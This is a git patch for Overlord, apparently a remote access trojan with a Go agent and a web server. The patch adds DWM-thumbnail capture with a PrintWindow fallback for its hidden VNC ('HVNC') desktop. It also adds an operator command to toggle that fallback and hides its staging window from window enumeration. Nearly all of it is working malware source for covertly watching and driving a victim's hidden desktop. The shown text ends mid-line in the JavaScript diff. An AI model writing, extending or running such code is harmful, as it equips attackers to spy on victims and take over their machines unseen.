From dfef3e012f3a286e1474d3c36cd6893ef2bd7ed1 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 30 Jul 2026 19:41:45 -0500 Subject: [PATCH] add DWM for HVNC with PrintWindow fallback --- .../agent/capture/backstage_dwm_windows.go | 515 ++++++++++++++++++ .../capture/backstage_dwm_windows_test.go | 128 +++++ .../backstage_printwindow_windows_test.go | 22 + .../cmd/agent/capture/backstage_stub.go | 4 + .../cmd/agent/capture/backstage_windows.go | 55 +- Overlord-Client/cmd/agent/handlers/command.go | 12 + .../cmd/agent/wire/wire_contract_generated.go | 3 + .../cmd/agent/wire/wire_contract_test.go | 2 +- Overlord-Server/public/assets/backstage.js | 14 + Overlord-Server/public/backstage.html | 3 + .../src/generated/wire-contract.ts | 5 + Overlord-Server/src/protocol-contract.test.ts | 2 +- .../src/server/routes/misc-routes.ts | 1 + .../src/server/ws-console-rd-backstage.ts | 3 + protocol/wire-contract.json | 1 + 15 files changed, 763 insertions(+), 7 deletions(-) create mode 100644 Overlord-Client/cmd/agent/capture/backstage_dwm_windows.go create mode 100644 Overlord-Client/cmd/agent/capture/backstage_dwm_windows_test.go create mode 100644 Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go diff --git a/Overlord-Client/cmd/agent/capture/backstage_dwm_windows.go b/Overlord-Client/cmd/agent/capture/backstage_dwm_windows.go new file mode 100644 index 0000000..498db18 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/backstage_dwm_windows.go @@ -0,0 +1,515 @@ +//go:build windows + +package capture + +import ( + "image" + "log" + "sync" + "sync/atomic" + "syscall" + "time" + "unsafe" + + "golang.org/x/sys/windows" +) + +var ( + dwmapi = windows.NewLazySystemDLL("dwmapi.dll") + procDwmRegisterThumbnail = dwmapi.NewProc("DwmRegisterThumbnail") + procDwmUnregisterThumbnail = dwmapi.NewProc("DwmUnregisterThumbnail") + procDwmUpdateThumbnailProperties = dwmapi.NewProc("DwmUpdateThumbnailProperties") + procDwmQueryThumbnailSourceSize = dwmapi.NewProc("DwmQueryThumbnailSourceSize") + procDWMCreateWindowExW = user32.NewProc("CreateWindowExW") + procDWMShowWindow = user32.NewProc("ShowWindow") + procDWMUpdateWindow = user32.NewProc("UpdateWindow") + backstageDWMStateMu sync.Mutex + backstageDWMHost uintptr + backstageDWMThumbnails map[uintptr]*backstageDWMThumbnail + backstageDWMOrder []uintptr + backstageDWMLastFallbackLogUnixNano atomic.Int64 + backstageDWMLastPerfLogUnixNano atomic.Int64 + backstageDWMLoggedActive atomic.Bool +) + +const ( + dwmTNPRectDestination = 0x00000001 + dwmTNPRectSource = 0x00000002 + dwmTNPVisible = 0x00000008 + + backstageDWMWSExTransparent = 0x00000020 + backstageDWMWSExToolWindow = 0x00000080 + backstageDWMWSExNoActivate = 0x08000000 + backstageDWMWSDisabled = 0x08000000 + backstageDWMWSVisible = 0x10000000 + backstageDWMWSDisabledPopup = 0x80000000 | backstageDWMWSDisabled | backstageDWMWSVisible + backstageDWMSSBlackRect = 0x00000004 + backstageDWMSWShowNoActivate = 4 + backstageDWMHWNDBottom = 1 +) + +type dwmThumbnailProperties struct { + flags uint32 + destination rect + source rect + opacity byte + _padding [3]byte + visible int32 + sourceClientAreaOnly int32 +} + +type backstageDWMSize struct { + cx int32 + cy int32 +} + +type backstageDWMThumbnail struct { + handle uintptr + size backstageDWMSize +} + +type backstageDWMCandidate struct { + hwnd uintptr + windowRect rect +} + +type backstageDWMPerf struct { + outputW int + outputH int + windows int + rebuilt bool + setup time.Duration + enumerate time.Duration + register time.Duration + update time.Duration + readback time.Duration + validate time.Duration + total time.Duration + success bool + failure string +} + +func backstageIsDWMHost(hwnd uintptr) bool { + if hwnd == 0 { + return false + } + backstageDWMStateMu.Lock() + isHost := backstageDWMHost == hwnd + backstageDWMStateMu.Unlock() + return isHost +} + +func drawbackstageStagingFromDWM(hdcMem uintptr, bounds image.Rectangle, outputW, outputH int, target []byte) (success bool) { + if hdcMem == 0 || bounds.Empty() || outputW <= 0 || outputH <= 0 { + return false + } + + started := time.Now() + perf := backstageDWMPerf{outputW: outputW, outputH: outputH} + defer func() { + perf.success = success + perf.total = time.Since(started) + backstageLogDWMPerf(perf, bounds) + }() + + backstageDWMStateMu.Lock() + defer backstageDWMStateMu.Unlock() + + stageStarted := time.Now() + host := backstageEnsureDWMHostLocked(bounds, outputW, outputH) + perf.setup = time.Since(stageStarted) + if host == 0 { + perf.failure = "host" + backstageLogDWMFallback("staging window is unavailable") + return false + } + + stageStarted = time.Now() + candidates := backstageCollectDWMCandidatesLocked(host, bounds) + perf.enumerate = time.Since(stageStarted) + perf.windows = len(candidates) + if len(candidates) == 0 { + perf.failure = "no_sources" + backstageLogDWMFallback("no source windows are available") + return false + } + + order := make([]uintptr, len(candidates)) + for index, candidate := range candidates { + order[index] = candidate.hwnd + } + if !backstageDWMOrdersEqual(backstageDWMOrder, order) { + perf.rebuilt = true + backstageUnregisterDWMThumbnailsLocked() + backstageDWMOrder = append(backstageDWMOrder[:0], order...) + } + if backstageDWMThumbnails == nil { + backstageDWMThumbnails = make(map[uintptr]*backstageDWMThumbnail) + } + + registerStarted := time.Now() + updated := 0 + for _, candidate := range candidates { + entry := backstageDWMThumbnails[candidate.hwnd] + if entry == nil { + entry = backstageRegisterDWMThumbnailLocked(host, candidate.hwnd) + if entry == nil { + continue + } + backstageDWMThumbnails[candidate.hwnd] = entry + } + } + perf.register = time.Since(registerStarted) + + updateStarted := time.Now() + for _, candidate := range candidates { + entry := backstageDWMThumbnails[candidate.hwnd] + if entry == nil { + continue + } + destinationRect, sourceRect, ok := backstageDWMThumbnailRects( + candidate.windowRect, + bounds, + int(entry.size.cx), + int(entry.size.cy), + outputW, + outputH, + ) + if !ok { + continue + } + properties := dwmThumbnailProperties{ + flags: dwmTNPRectDestination | dwmTNPRectSource | dwmTNPVisible, + destination: destinationRect, + source: sourceRect, + opacity: 255, + visible: 1, + } + result, _, _ := procDwmUpdateThumbnailProperties.Call( + entry.handle, + uintptr(unsafe.Pointer(&properties)), + ) + if int32(result) >= 0 { + updated++ + } + } + perf.update = time.Since(updateStarted) + if updated == 0 { + perf.failure = "update" + backstageLogDWMFallback("no thumbnail relationships were updated") + return false + } + + readbackStarted := time.Now() + if !printWindow(host, hdcMem, PW_RENDERFULLCONTENT) { + perf.readback = time.Since(readbackStarted) + perf.failure = "readback" + backstageLogDWMFallback("PrintWindow staging readback failed") + return false + } + perf.readback = time.Since(readbackStarted) + + validateStarted := time.Now() + if !backstageDWMFrameHasContent(target) { + perf.validate = time.Since(validateStarted) + perf.failure = "empty" + backstageLogDWMFallback("PrintWindow staging readback was empty") + return false + } + perf.validate = time.Since(validateStarted) + if backstageDWMLoggedActive.CompareAndSwap(false, true) { + log.Printf("backstage dwm: staging thumbnail composite active (%d windows, %dx%d)", updated, outputW, outputH) + } + return true +} + +func backstageEnsureDWMHostLocked(bounds image.Rectangle, outputW, outputH int) uintptr { + if backstageDWMHost == 0 { + className, err := syscall.UTF16PtrFromString("Static") + if err != nil { + return 0 + } + title, err := syscall.UTF16PtrFromString("Overlord DWM Backstage Staging") + if err != nil { + return 0 + } + host, _, _ := procDWMCreateWindowExW.Call( + backstageDWMWSExTransparent|backstageDWMWSExToolWindow|backstageDWMWSExNoActivate, + uintptr(unsafe.Pointer(className)), + uintptr(unsafe.Pointer(title)), + backstageDWMWSDisabledPopup|backstageDWMSSBlackRect, + uintptr(int32(bounds.Min.X)), + uintptr(int32(bounds.Min.Y)), + uintptr(int32(outputW)), + uintptr(int32(outputH)), + 0, + 0, + 0, + 0, + ) + if host == 0 { + return 0 + } + backstageDWMHost = host + procDWMShowWindow.Call(host, backstageDWMSWShowNoActivate) + procDWMUpdateWindow.Call(host) + } + + procSetWindowPos.Call( + backstageDWMHost, + backstageDWMHWNDBottom, + uintptr(int32(bounds.Min.X)), + uintptr(int32(bounds.Min.Y)), + uintptr(int32(outputW)), + uintptr(int32(outputH)), + SWP_NOACTIVATE|SWP_SHOWWINDOW, + ) + return backstageDWMHost +} + +func backstageCollectDWMCandidatesLocked(host uintptr, bounds image.Rectangle) []backstageDWMCandidate { + var candidates []backstageDWMCandidate + hwnd := getTopWindow(0) + if hwnd != 0 { + hwnd = getWindow(hwnd, GW_HWNDLAST) + } + for hwnd != 0 { + next := getWindow(hwnd, GW_HWNDPREV) + if hwnd != host && isWindowVisible(hwnd) { + var windowRect rect + ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&windowRect))) + if ok != 0 && + windowRect.right > windowRect.left && + windowRect.bottom > windowRect.top && + rectIntersectsImage(windowRect, bounds) { + candidates = append(candidates, backstageDWMCandidate{ + hwnd: hwnd, + windowRect: windowRect, + }) + } + } + hwnd = next + } + return candidates +} + +func backstageRegisterDWMThumbnailLocked(host, source uintptr) *backstageDWMThumbnail { + var thumbnail uintptr + result, _, _ := procDwmRegisterThumbnail.Call( + host, + source, + uintptr(unsafe.Pointer(&thumbnail)), + ) + if int32(result) < 0 || thumbnail == 0 { + return nil + } + + var size backstageDWMSize + queryResult, _, _ := procDwmQueryThumbnailSourceSize.Call( + thumbnail, + uintptr(unsafe.Pointer(&size)), + ) + if int32(queryResult) < 0 || size.cx <= 0 || size.cy <= 0 { + var windowRect rect + ok, _, _ := procGetWindowRect.Call(source, uintptr(unsafe.Pointer(&windowRect))) + if ok == 0 { + procDwmUnregisterThumbnail.Call(thumbnail) + return nil + } + size.cx = windowRect.right - windowRect.left + size.cy = windowRect.bottom - windowRect.top + } + return &backstageDWMThumbnail{handle: thumbnail, size: size} +} + +func backstageDWMThumbnailRects(windowRect rect, bounds image.Rectangle, sourceW, sourceH, outputW, outputH int) (rect, rect, bool) { + winW := int(windowRect.right - windowRect.left) + winH := int(windowRect.bottom - windowRect.top) + boundsW := bounds.Dx() + boundsH := bounds.Dy() + if winW <= 0 || winH <= 0 || sourceW <= 0 || sourceH <= 0 || + boundsW <= 0 || boundsH <= 0 || outputW <= 0 || outputH <= 0 { + return rect{}, rect{}, false + } + + left := maxInt(int(windowRect.left), bounds.Min.X) + top := maxInt(int(windowRect.top), bounds.Min.Y) + right := minInt(int(windowRect.right), bounds.Max.X) + bottom := minInt(int(windowRect.bottom), bounds.Max.Y) + if right <= left || bottom <= top { + return rect{}, rect{}, false + } + + destination := rect{ + left: int32((left - bounds.Min.X) * outputW / boundsW), + top: int32((top - bounds.Min.Y) * outputH / boundsH), + right: int32(((right-bounds.Min.X)*outputW + boundsW - 1) / boundsW), + bottom: int32(((bottom-bounds.Min.Y)*outputH + boundsH - 1) / boundsH), + } + source := rect{ + left: int32((left - int(windowRect.left)) * sourceW / winW), + top: int32((top - int(windowRect.top)) * sourceH / winH), + right: int32(((right-int(windowRect.left))*sourceW + winW - 1) / winW), + bottom: int32(((bottom-int(windowRect.top))*sourceH + winH - 1) / winH), + } + if source.right > int32(sourceW) { + source.right = int32(sourceW) + } + if source.bottom > int32(sourceH) { + source.bottom = int32(sourceH) + } + return destination, source, true +} + +func rectIntersectsImage(windowRect rect, bounds image.Rectangle) bool { + return int(windowRect.right) > bounds.Min.X && + int(windowRect.left) < bounds.Max.X && + int(windowRect.bottom) > bounds.Min.Y && + int(windowRect.top) < bounds.Max.Y +} + +func backstageDWMOrdersEqual(left, right []uintptr) bool { + if len(left) != len(right) { + return false + } + for index := range left { + if left[index] != right[index] { + return false + } + } + return true +} + +func backstageDWMFrameHasContent(frame []byte) bool { + if len(frame) < 4 { + return false + } + stepPixels := len(frame) / 4 / (128 * 128) + if stepPixels < 1 { + stepPixels = 1 + } + step := stepPixels * 4 + for offset := 0; offset+2 < len(frame); offset += step { + if frame[offset]|frame[offset+1]|frame[offset+2] != 0 { + return true + } + } + return false +} + +func backstageEnsureDWMCompCache(w, h int) (uintptr, []byte, bool) { + if backstageCompHdcMem != 0 && + backstageCompW == w && + backstageCompH == h && + backstageCompBits != nil { + return backstageCompHdcMem, unsafe.Slice((*byte)(backstageCompBits), w*h*4), true + } + + if backstageCompHbmp != 0 { + deleteObject(backstageCompHbmp) + backstageCompHbmp = 0 + } + if backstageCompHdcMem != 0 { + deleteDC(backstageCompHdcMem) + backstageCompHdcMem = 0 + } + backstageCompBits = nil + backstageCompW = 0 + backstageCompH = 0 + + screenDC := getDC(0) + if screenDC == 0 { + return 0, nil, false + } + backstageCompHdcMem = createCompatibleDC(screenDC) + releaseDC(0, screenDC) + if backstageCompHdcMem == 0 { + return 0, nil, false + } + + info := bitmapInfo{ + bmiHeader: bitmapInfoHeader{ + biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})), + biWidth: int32(w), + biHeight: -int32(h), + biPlanes: 1, + biBitCount: 32, + biCompression: BI_RGB, + }, + } + backstageCompHbmp = createDIBSection( + backstageCompHdcMem, + &info, + DIB_RGB_COLORS, + &backstageCompBits, + ) + if backstageCompHbmp == 0 || backstageCompBits == nil { + deleteDC(backstageCompHdcMem) + backstageCompHdcMem = 0 + backstageCompBits = nil + return 0, nil, false + } + selectObject(backstageCompHdcMem, backstageCompHbmp) + backstageCompW = w + backstageCompH = h + return backstageCompHdcMem, unsafe.Slice((*byte)(backstageCompBits), w*h*4), true +} + +func backstageCleanupDWMThumbnails() { + backstageDWMStateMu.Lock() + defer backstageDWMStateMu.Unlock() + backstageUnregisterDWMThumbnailsLocked() + if backstageDWMHost != 0 { + procDWMShowWindow.Call(backstageDWMHost, 0) + } + backstageDWMHost = 0 +} + +func backstageUnregisterDWMThumbnailsLocked() { + for source, entry := range backstageDWMThumbnails { + procDwmUnregisterThumbnail.Call(entry.handle) + delete(backstageDWMThumbnails, source) + } + backstageDWMThumbnails = nil + backstageDWMOrder = nil +} + +func backstageLogDWMFallback(reason string) { + now := time.Now().UnixNano() + last := backstageDWMLastFallbackLogUnixNano.Load() + if now-last < int64(5*time.Second) || + !backstageDWMLastFallbackLogUnixNano.CompareAndSwap(last, now) { + return + } + log.Printf("backstage dwm: %s; using DXGI/PrintWindow fallback", reason) +} + +func backstageLogDWMPerf(perf backstageDWMPerf, bounds image.Rectangle) { + if !captureMetricsEnabled() { + return + } + now := time.Now().UnixNano() + last := backstageDWMLastPerfLogUnixNano.Load() + if now-last < int64(5*time.Second) || + !backstageDWMLastPerfLogUnixNano.CompareAndSwap(last, now) { + return + } + log.Printf( + "backstage dwm perf: success=%v failure=%s source=%dx%d output=%dx%d windows=%d rebuilt=%v setup=%s enum=%s register=%s update=%s readback=%s validate=%s total=%s", + perf.success, + perf.failure, + bounds.Dx(), + bounds.Dy(), + perf.outputW, + perf.outputH, + perf.windows, + perf.rebuilt, + perf.setup, + perf.enumerate, + perf.register, + perf.update, + perf.readback, + perf.validate, + perf.total, + ) +} diff --git a/Overlord-Client/cmd/agent/capture/backstage_dwm_windows_test.go b/Overlord-Client/cmd/agent/capture/backstage_dwm_windows_test.go new file mode 100644 index 0000000..ceee172 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/backstage_dwm_windows_test.go @@ -0,0 +1,128 @@ +//go:build windows + +package capture + +import ( + "image" + "testing" +) + +func TestBackstageDWMFrameHasContent(t *testing.T) { + tests := []struct { + name string + frame []byte + want bool + }{ + {name: "nil", frame: nil, want: false}, + {name: "short", frame: []byte{1, 2, 3}, want: false}, + {name: "black", frame: make([]byte, 64), want: false}, + {name: "alpha only", frame: []byte{0, 0, 0, 255}, want: false}, + {name: "blue", frame: []byte{1, 0, 0, 0}, want: true}, + {name: "green", frame: []byte{0, 1, 0, 0}, want: true}, + {name: "red", frame: []byte{0, 0, 1, 0}, want: true}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := backstageDWMFrameHasContent(tt.frame); got != tt.want { + t.Fatalf("backstageDWMFrameHasContent() = %v, want %v", got, tt.want) + } + }) + } +} + +func TestBackstageDWMThumbnailRects(t *testing.T) { + tests := []struct { + name string + window rect + bounds image.Rectangle + sourceW int + sourceH int + outputW int + outputH int + wantDest rect + wantSource rect + wantOK bool + }{ + { + name: "fully visible", + window: rect{left: 100, top: 50, right: 500, bottom: 350}, + bounds: image.Rect(0, 0, 1920, 1080), + sourceW: 400, + sourceH: 300, + outputW: 1920, + outputH: 1080, + wantDest: rect{left: 100, top: 50, right: 500, bottom: 350}, + wantSource: rect{left: 0, top: 0, right: 400, bottom: 300}, + wantOK: true, + }, + { + name: "clipped left and top", + window: rect{left: -100, top: -50, right: 300, bottom: 250}, + bounds: image.Rect(0, 0, 1920, 1080), + sourceW: 800, + sourceH: 600, + outputW: 1920, + outputH: 1080, + wantDest: rect{left: 0, top: 0, right: 300, bottom: 250}, + wantSource: rect{left: 200, top: 100, right: 800, bottom: 600}, + wantOK: true, + }, + { + name: "outside", + window: rect{left: 2000, top: 100, right: 2200, bottom: 300}, + bounds: image.Rect(0, 0, 1920, 1080), + sourceW: 200, + sourceH: 200, + outputW: 1920, + outputH: 1080, + wantOK: false, + }, + { + name: "scaled output", + window: rect{left: 100, top: 50, right: 500, bottom: 350}, + bounds: image.Rect(0, 0, 1920, 1080), + sourceW: 400, + sourceH: 300, + outputW: 960, + outputH: 540, + wantDest: rect{left: 50, top: 25, right: 250, bottom: 175}, + wantSource: rect{left: 0, top: 0, right: 400, bottom: 300}, + wantOK: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + dest, source, ok := backstageDWMThumbnailRects( + tt.window, + tt.bounds, + tt.sourceW, + tt.sourceH, + tt.outputW, + tt.outputH, + ) + if ok != tt.wantOK { + t.Fatalf("ok = %v, want %v", ok, tt.wantOK) + } + if dest != tt.wantDest { + t.Fatalf("destination = %+v, want %+v", dest, tt.wantDest) + } + if source != tt.wantSource { + t.Fatalf("source = %+v, want %+v", source, tt.wantSource) + } + }) + } +} + +func TestBackstageDWMOrdersEqual(t *testing.T) { + if !backstageDWMOrdersEqual([]uintptr{1, 2, 3}, []uintptr{1, 2, 3}) { + t.Fatal("matching order was reported as changed") + } + if backstageDWMOrdersEqual([]uintptr{1, 2, 3}, []uintptr{1, 3, 2}) { + t.Fatal("z-order change was not detected") + } + if backstageDWMOrdersEqual([]uintptr{1, 2}, []uintptr{1, 2, 3}) { + t.Fatal("window addition was not detected") + } +} diff --git a/Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go b/Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go new file mode 100644 index 0000000..fc79ce3 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go @@ -0,0 +1,22 @@ +//go:build windows + +package capture + +import "testing" + +func TestBackstagePrintWindowFallbackToggle(t *testing.T) { + SetbackstagePrintWindowFallbackEnabled(true) + t.Cleanup(func() { SetbackstagePrintWindowFallbackEnabled(true) }) + + if !GetbackstagePrintWindowFallbackEnabled() { + t.Fatal("PrintWindow fallback must be enabled by default") + } + SetbackstagePrintWindowFallbackEnabled(false) + if GetbackstagePrintWindowFallbackEnabled() { + t.Fatal("PrintWindow fallback did not disable") + } + SetbackstagePrintWindowFallbackEnabled(true) + if !GetbackstagePrintWindowFallbackEnabled() { + t.Fatal("PrintWindow fallback did not re-enable") + } +} diff --git a/Overlord-Client/cmd/agent/capture/backstage_stub.go b/Overlord-Client/cmd/agent/capture/backstage_stub.go index 3152772..9517da8 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_stub.go +++ b/Overlord-Client/cmd/agent/capture/backstage_stub.go @@ -19,6 +19,10 @@ func SetbackstageDXGIEnabled(enabled bool) {} func GetbackstageDXGIEnabled() bool { return false } +func SetbackstagePrintWindowFallbackEnabled(enabled bool) {} + +func GetbackstagePrintWindowFallbackEnabled() bool { return false } + func SetbackstageUIAEnabled(enabled bool) {} func GetbackstageUIAEnabled() bool { return false } diff --git a/Overlord-Client/cmd/agent/capture/backstage_windows.go b/Overlord-Client/cmd/agent/capture/backstage_windows.go index 8f7aabe..254281e 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_windows.go @@ -32,8 +32,8 @@ var ( procGetWindow = user32.NewProc("GetWindow") procGetTopWindow = user32.NewProc("GetTopWindow") procCreateProcessW = kernel32.NewProc("CreateProcessW") - procSendInputbackstage = user32.NewProc("SendInput") - procGetCursorPosbackstage = user32.NewProc("GetCursorPos") + procSendInputbackstage = user32.NewProc("SendInput") + procGetCursorPosbackstage = user32.NewProc("GetCursorPos") procWindowFromPoint = user32.NewProc("WindowFromPoint") procScreenToClient = user32.NewProc("ScreenToClient") procPostMessageW = user32.NewProc("PostMessageW") @@ -148,7 +148,7 @@ const ( GA_ROOT = 2 SMTO_ABORTIFHUNG = 0x0002 - GWL_EXSTYLE = -20 + GWL_EXSTYLE = -20 WS_EX_TOOLWINDOW = 0x00000080 ) @@ -377,6 +377,7 @@ func CleanupbackstageDesktop() { defer backstageDesktopMu.Unlock() backstageCleanupFrameReaders() + backstageCleanupDWMThumbnails() backstageFreeCapCache() @@ -592,6 +593,9 @@ func BackstageKillAll() error { pids := make(map[uint32]struct{}) cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr { + if backstageIsDWMHost(hwnd) { + return 1 + } var pid uint32 procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid))) if pid != 0 { @@ -891,6 +895,18 @@ func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) { dstH = srcH } + if dwmHDC, dwmBuf, ok := backstageEnsureDWMCompCache(dstW, dstH); ok { + for i := range dwmBuf { + dwmBuf[i] = 0 + } + if drawbackstageStagingFromDWM(dwmHDC, bounds, dstW, dstH, dwmBuf) { + swapRB(dwmBuf) + img := GetRGBA(dstW, dstH) + copy(img.Pix, dwmBuf) + return img, nil + } + } + capW := srcW capH := srcH @@ -1312,7 +1328,7 @@ func foregroundWindow() uintptr { func findAnyVisibleTopLevelWindow() uintptr { hwnd := getTopWindow(0) for hwnd != 0 { - if isWindowVisible(hwnd) { + if !backstageIsDWMHost(hwnd) && isWindowVisible(hwnd) { return hwnd } hwnd = getWindow(hwnd, GW_HWNDNEXT) @@ -1326,6 +1342,9 @@ func makeLParam(x, y int32) uintptr { func windowFromPoint(pt point) uintptr { ret, _, _ := procWindowFromPoint.Call(uintptr(*(*int64)(unsafe.Pointer(&pt)))) + if backstageIsDWMHost(ret) { + return 0 + } return ret } @@ -1678,7 +1697,7 @@ func drawbackstageWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, tar drawn := 0 for hwnd != 0 { - if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) { + if !backstageIsDWMHost(hwnd) && drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) { drawn++ } alive[hwnd] = true @@ -1751,10 +1770,13 @@ var dxgiFrameBuf []byte var backstageDXGIEnabled atomic.Bool var backstageUIAEnabled atomic.Bool +var backstagePrintWindowFallbackEnabled atomic.Bool +var backstagePrintWindowFallbackLogNs atomic.Int64 func init() { backstageDXGIEnabled.Store(false) // disabled by default backstageUIAEnabled.Store(false) // disabled by default + backstagePrintWindowFallbackEnabled.Store(true) } func SetbackstageDXGIEnabled(enabled bool) { @@ -1773,6 +1795,14 @@ func GetbackstageUIAEnabled() bool { return backstageUIAEnabled.Load() } +func SetbackstagePrintWindowFallbackEnabled(enabled bool) { + backstagePrintWindowFallbackEnabled.Store(enabled) +} + +func GetbackstagePrintWindowFallbackEnabled() bool { + return backstagePrintWindowFallbackEnabled.Load() +} + func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool { if !backstageDXGIEnabled.Load() { return false @@ -1847,6 +1877,9 @@ func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, } func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool { + if backstageIsDWMHost(hwnd) { + return false + } if !isWindowVisible(hwnd) { return false } @@ -1875,6 +1908,15 @@ func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target if drawn := drawbackstageWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn { return true } + if !backstagePrintWindowFallbackEnabled.Load() { + now := time.Now().UnixNano() + last := backstagePrintWindowFallbackLogNs.Load() + if now-last > int64(5*time.Second) && + backstagePrintWindowFallbackLogNs.CompareAndSwap(last, now) { + log.Printf("backstage capture: per-window PrintWindow fallback is disabled") + } + return false + } // Use pooled DC+DIB from cache entry := backstageGetOrCreateCache(hdcScreen, hwnd, winW, winH) @@ -2048,6 +2090,9 @@ func BackstageEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) { var windows []rawWin cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr { + if backstageIsDWMHost(hwnd) { + return 1 + } windows = append(windows, rawWin{hwnd: hwnd}) return 1 }) diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index b26b4f4..2b6492c 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1298,6 +1298,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in capture.SetbackstageDXGIEnabled(dxgiEnabled) sendCommandResultSafe(env, cmdID, true, "") return nil + case "backstage_enable_printwindow_fallback": + payload, _ := envelope["payload"].(map[string]interface{}) + enabled := true + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + enabled = v + } + } + log.Printf("backstage: per-window PrintWindow fallback %v", enabled) + capture.SetbackstagePrintWindowFallbackEnabled(enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil case "backstage_enable_uia": payload, _ := envelope["payload"].(map[string]interface{}) uiaEnabled := true diff --git a/Overlord-Client/cmd/agent/wire/wire_contract_generated.go b/Overlord-Client/cmd/agent/wire/wire_contract_generated.go index 74570c5..18afd1b 100644 --- a/Overlord-Client/cmd/agent/wire/wire_contract_generated.go +++ b/Overlord-Client/cmd/agent/wire/wire_contract_generated.go @@ -77,6 +77,7 @@ const ( CommandBackstageEnableDxgi CommandType = "backstage_enable_dxgi" CommandBackstageEnableKeyboard CommandType = "backstage_enable_keyboard" CommandBackstageEnableMouse CommandType = "backstage_enable_mouse" + CommandBackstageEnablePrintwindowFallback CommandType = "backstage_enable_printwindow_fallback" CommandBackstageEnableUia CommandType = "backstage_enable_uia" CommandBackstageInstalledApps CommandType = "backstage_installed_apps" CommandBackstageKeyDown CommandType = "backstage_key_down" @@ -286,6 +287,7 @@ var CommandTypes = [...]CommandType{ CommandBackstageEnableDxgi, CommandBackstageEnableKeyboard, CommandBackstageEnableMouse, + CommandBackstageEnablePrintwindowFallback, CommandBackstageEnableUia, CommandBackstageInstalledApps, CommandBackstageKeyDown, @@ -435,6 +437,7 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{ CommandBackstageEnableDxgi: {Min: 1, Max: 1}, CommandBackstageEnableKeyboard: {Min: 1, Max: 1}, CommandBackstageEnableMouse: {Min: 1, Max: 1}, + CommandBackstageEnablePrintwindowFallback: {Min: 1, Max: 1}, CommandBackstageEnableUia: {Min: 1, Max: 1}, CommandBackstageInstalledApps: {Min: 1, Max: 1}, CommandBackstageKeyDown: {Min: 1, Max: 1}, diff --git a/Overlord-Client/cmd/agent/wire/wire_contract_test.go b/Overlord-Client/cmd/agent/wire/wire_contract_test.go index 7da6587..3065c60 100644 --- a/Overlord-Client/cmd/agent/wire/wire_contract_test.go +++ b/Overlord-Client/cmd/agent/wire/wire_contract_test.go @@ -6,7 +6,7 @@ func TestGeneratedWireContract(t *testing.T) { if WireProtocolVersion != 1 { t.Fatalf("unexpected wire protocol version: %d", WireProtocolVersion) } - if len(CommandTypes) != 141 { + if len(CommandTypes) != 142 { t.Fatalf("unexpected command count: %d", len(CommandTypes)) } if len(CommandVersionSupport) != len(CommandTypes) { diff --git a/Overlord-Server/public/assets/backstage.js b/Overlord-Server/public/assets/backstage.js index 08d4e2b..6845375 100644 --- a/Overlord-Server/public/assets/backstage.js +++ b/Overlord-Server/public/assets/backstage.js @@ -117,6 +117,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s const statusEl = document.getElementById("streamStatus"); const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); const uiaCtrl = document.getElementById("uiaCtrl"); + const printWindowFallbackCtrl = document.getElementById("printWindowFallbackCtrl"); const backstageResolutionSelect = document.getElementById("backstageResolutionSelect"); const targetFpsSelect = document.getElementById("targetFpsSelect"); let whepClient = null; @@ -132,6 +133,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (mouseCtrl) sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked }); if (kbdCtrl) sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked }); if (uiaCtrl) sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked }); + if (printWindowFallbackCtrl) { + sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked }); + } pushbackstageResolution(); } let activeClientId = clientId; @@ -186,6 +190,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality); if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync; if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia; + if (printWindowFallbackCtrl && typeof settings.printWindowFallback === "boolean") { + printWindowFallbackCtrl.checked = settings.printWindowFallback; + } prefersH264 = false; const cloneToggle = document.getElementById("backstageCloneToggle"); const cloneLiteToggle = 